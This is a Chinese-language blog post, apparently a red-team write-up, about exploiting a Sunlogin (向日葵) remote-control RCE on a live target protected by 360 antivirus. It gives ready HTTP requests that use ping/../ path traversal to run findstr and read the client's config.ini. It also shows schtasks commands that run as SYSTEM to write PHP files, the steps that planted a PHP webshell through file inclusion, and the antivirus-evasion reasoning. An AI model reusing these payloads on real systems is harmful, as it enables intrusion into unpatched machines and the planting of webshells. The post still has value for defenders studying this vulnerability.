继续浏览精彩内容
慕课网APP
程序员的梦工厂
打开
继续
感谢您的支持,我会继续努力的
赞赏金额会直接到老师账户
将二维码发送给自己后长按识别
微信支付
支付宝支付

网络攻防|一次实战中的向日葵 RCE Bypass 360

灼剑安全团队
关注TA
已关注
手记 5
粉丝 0
获赞 0

一、背景

在做攻防项目的时候发现了一个外网的向日葵命令执行

图片

但由于存在杀软,无法执行命令

图片

下面就来说一下我是如何绕过杀软拿到shell的

二、测试

2.1 本地环境调试

自己搭了一个虚拟机,也是存在漏洞的向日葵命令执行,环境配置和目标一样,但没装360(后面会说是如何获得目标系统信息的)

开始测试,发现

  • failed,error 5:表示命令执行失败,其实就是杀软拦了

图片

  • failed,error 2:表示命令不存在

图片

2.2 了解向日葵漏洞

首先我通过向日葵和杀软允许的ping命令判断确认是存在命令执行漏洞的

图片

2.3 然后尝试绕过杀软

  1. 通过网上搜索各种文章,晓得是利用向日葵不禁止ping命令,然后通过../进行目录穿越来执行任意命令的。

  2. 目标机器上的杀软实际上是禁止调用cmd.exepowershell.exe等危险的进程,其他exe程序并没有禁止

  3. 所以我们可以利用C:/Windows/System32/C:/Windows/SysWOW64/目录中的exe文件,来进行信息收集

图片

2.4 目标机器信息收集

利用systeminfo.exe来获得操作系统信息:Windows Server 2008。

图片

利用netstat.exe来获得网络状态信息

图片

利用tasklist.exe来获得进程信息,发现存在360全家桶,命令执行就是他拦截的

图片

利用ipconfig.exe获得ip信息

图片

利用arp.exe获得内网其他IP

图片

利用net.exe获得用户信息

图片

2.5 实现文件读取,读取向日葵配置文件

既然已经可以执行部分命令了,首先我的思路是利用文件读取的命令,直接读取向日葵配置文件,利用配置文件中的fastcode和密码直接连接向日葵。

windows机器上查看文件是使用type命令,但并不存在type.exe

图片

所以如何读取文件内容便是个问题。上网搜索,网上说用wmic可以实现列磁盘和文件读取写入等操作

# 列磁盘
wmic logicaldisk get caption,name

图片

很明显,wmic被拦截了,无法使用

此时我又想到了windows用来进行字符串匹配的findstr命令。看了一下说明,发现是支持正则的,那我直接一个.岂不是可以匹配所有,变相的进行文件读取。。。

图片

本地测试了一下,确实可以

图片

然后就是目标系统上获得向日葵的配置文件了,不同版本向日葵的配置文件位置可能不一样

GET /check?cmd=ping/../findstr%20.%20"C:\Program%20Files%20(x86)\Oray\SunLogin\SunloginClient\config.ini" HTTP/1.1
Host: target host
Connection: Close
Cookie: CID=9VIoJqZNnRo0eCnhJ6xg7U4j0uU16YRP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36

图片

万万没想到的是,目标系统上的向日葵用登陆了个人账号,并且没开fastcode登录,也就不能密码解密后直接连Orz。

2.6 计划任务命令执行(当前已拦截)

既然无法使用fastcode直接远程向日葵了,那只能去找其他路子,我想到了计划任务。

本地尝试使用at添加执行计划任务,但发现计划任务添加成功却没有执行

图片

连个最简单的计算器都无法执行。。。

图片

后面搜索才知道,Windows Server 2008中,已使用schtasks命令替换at命令

然后本地尝试使用计划任务来写文件

# 创建计划任务
GET /check?cmd=ping/../schtasks+/create+/tn+aa1+/sc+minute+/mo+1++/tr+"cmd+/c+echo+^<?php+phpinfo();?^>+>+C:\Users\zz\Desktop\indec.php"+/ru+system+/f HTTP/1.1
Host: 192.168.85.183:49203
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:52.0) Gecko/20100101 Firefox/52.0
Cookie: CID=dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

图片

# 执行计划任务
GET /check?cmd=ping/../schtasks+/run+/i+/tn+aa1 HTTP/1.1
Host: 192.168.85.183:49203
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:52.0) Gecko/20100101 Firefox/52.0
Cookie: CID=dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

图片

本地测试计划任务可以成功执行。然后就是在目标机器上复现了。目标网站是存在web的,因此可以直接写webshell

2.7 实战利用

首先需要找到网站的物理路径,这里利用报错得到了物理路径(网站关了,当时没有截图)

然后就是根据泄露的物理路径,写入计划任务

  1. 最先尝试的是直接写phpinfo,可以写入,并且直接显示phpinfo信息;

  2. 然后尝试写入简单的php一句话木马,发现写入不成功;

  3. 最后发现可以利用文件包含,先写一个abc.txt,里面放入php一句话木马,然后写入一个abc.php,直接包含abc.txt即可。

图片

然后是执行(这里虽然返回的是「failed,error 5」,但实际上等待几分钟后,就会发现已经执行了)

图片

然后等待几分钟,访问创建的文件,文件成功创建

图片

利用这种方式,成功拿到了shell

图片

三、总结

虽然说,向日葵软件一般情况下很少遇到,由于运维比较懒,没有更新最新版本的话,就算电脑上装了全家桶也无济于事。

利用时间:2022年5月19日

end

打开App,阅读手记
0人推荐
发表评论
随时随地看视频慕课网APP